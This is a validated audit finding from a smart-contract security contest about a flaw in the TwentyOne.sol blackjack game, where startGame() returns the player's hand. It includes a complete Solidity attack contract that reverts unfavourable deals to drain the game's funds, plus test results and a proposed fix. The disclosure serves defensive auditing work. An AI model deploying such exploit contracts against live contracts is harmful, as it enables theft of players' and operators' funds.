TwentyOne

First Flight #29
Beginner FriendlyGameFiFoundrySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Manipulation of startGame() Return Value in TwentyOne.sol

Summary
The startGame() function in the TwentyOne.sol contract returns the player’s initial hand value as a uint256. This allows attackers to manipulate gameplay by reverting unfavorable transactions, ensuring they proceed only with advantageous hands. By using a custom attack contract, an attacker can drain the contract's funds with minimal loss.

Vulnerability Details
Root Cause

The vulnerability lies in the startGame() function, which exposes sensitive game state information (the player's initial hand value) as its return value. This design flaw enables attackers to evaluate the returned value and selectively revert transactions for unfavorable outcomes.

Exploitation Process

  1. Initialization:
    The attacker deploys and funds a malicious contract, AttackTwentyOne.sol, which interacts with the TwentyOne.sol contract.

  2. Selective Execution:
    The attack contract calls startGame(), checks the returned hand value (playerHand), and reverts if the value is below a predefined threshold (e.g., 20).

  3. Guaranteed Advantage:
    Transactions only proceed if the attacker’s hand value is sufficiently high, ensuring a disproportionately high winning probability.

  4. Drain Contract:
    The attacker continues exploiting until the target contract’s balance is depleted.

Vulnerable Code

The issue is in the startGame() function of TwentyOne.sol:

function startGame() public payable returns (uint256) {
require(
address(this).balance >= 2 ether,
"Not enough ether on contract to start game"
);
address player = msg.sender;
require(msg.value == 1 ether, "start game only with 1 ether");
initializeDeck(player);
uint256 card1 = drawCard(player);
uint256 card2 = drawCard(player);
addCardForPlayer(player, card1);
addCardForPlayer(player, card2);
return playersHand(player); // Exposes game state
}

Impact
Exploitation Results

  1. Win Rate: The attack enables the attacker to win with an artificially high probability.

  2. Drain Speed: The contract balance can be drained in approximately 1,500–2,000 calls, depending on the balance and win conditions.

  3. Gas Costs: The attack incurs approximately 1,339,241 gas units per reverted transaction, which is minimal compared to the contract's drained value.

Tools Used

  1. Solidity Programming: To analyze and manipulate the contract logic.

  2. Foundry Framework: For contract deployment, testing, and debugging.

  3. Python Script: To automate repeated calls for exploiting the vulnerability.

Proof of Code

Attack Contract (AttackTwentyOne.sol)

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract AttackTwentyOne {
error AttackTwentyOne__FailedCallStartGame();
error AttackTwentyOne__FailedCallToCall();
error AttackTwentyOne__RevertLessThen20(uint256 playerHand);
uint256 private s_playerHand;
uint256 private constant MAX_PLAYER_HAND = 20;
address private immutable i_owner;
address payable immutable i_twentyOneContract;
constructor(address _twentyOneContract, address _owner) {
i_twentyOneContract = payable(_twentyOneContract);
i_owner = _owner;
}
receive() external payable {}
function callTostartGameAndCall() external {
(bool success, bytes memory data) = i_twentyOneContract.call{
value: 1 ether
}(abi.encodeWithSignature("startGame()"));
if (!success) {
revert AttackTwentyOne__FailedCallStartGame();
}
s_playerHand = abi.decode(data, (uint256));
if (s_playerHand < MAX_PLAYER_HAND) {
revert AttackTwentyOne__RevertLessThen20(s_playerHand);
}
(bool success2, ) = i_twentyOneContract.call(
abi.encodeWithSignature("call()")
);
if (!success2) {
revert AttackTwentyOne__FailedCallToCall();
}
}
function withdrawAll() external {
require(msg.sender == i_owner, "Not Owner");
payable(i_owner).transfer(address(this).balance);
}
}

Testing Process

  1. Deployment:

    • TwentyOne.sol deployed with an initial balance of 20 ETH.

    • AttackTwentyOne.sol deployed with an additional 2 ETH for gas and gameplay funding.

  2. Execution:

    • Repeatedly called callTostartGameAndCall() using the attack contract.

    • Observed selective transaction reverts for unfavorable outcomes.

    • Contract balance depleted after ~1,800 calls.

Recommendation

Proposed Fix

The startGame() function should not return the player’s initial hand value, preventing attackers from accessing game state information during the initialization phase.

Fixed Code:

function startGame() public payable {
require(
address(this).balance >= 2 ether,
"Not enough ether on contract to start game"
);
address player = msg.sender;
require(msg.value == 1 ether, "start game only with 1 ether");
initializeDeck(player);
uint256 card1 = drawCard(player);
uint256 card2 = drawCard(player);
addCardForPlayer(player, card1);
addCardForPlayer(player, card2);
}

Impact of Fix

Removing the return value eliminates the ability to selectively revert transactions based on the initial hand, closing the exploit vector.


Conclusion

This report demonstrates a critical vulnerability in TwentyOne.sol that enables an attacker to manipulate gameplay and drain the contract’s balance. The proposed fix mitigates this issue by removing sensitive game state exposure during the startGame() phase. Immediate action is recommended to deploy the fix and secure funds in the contract.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Revert a bad outcome

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.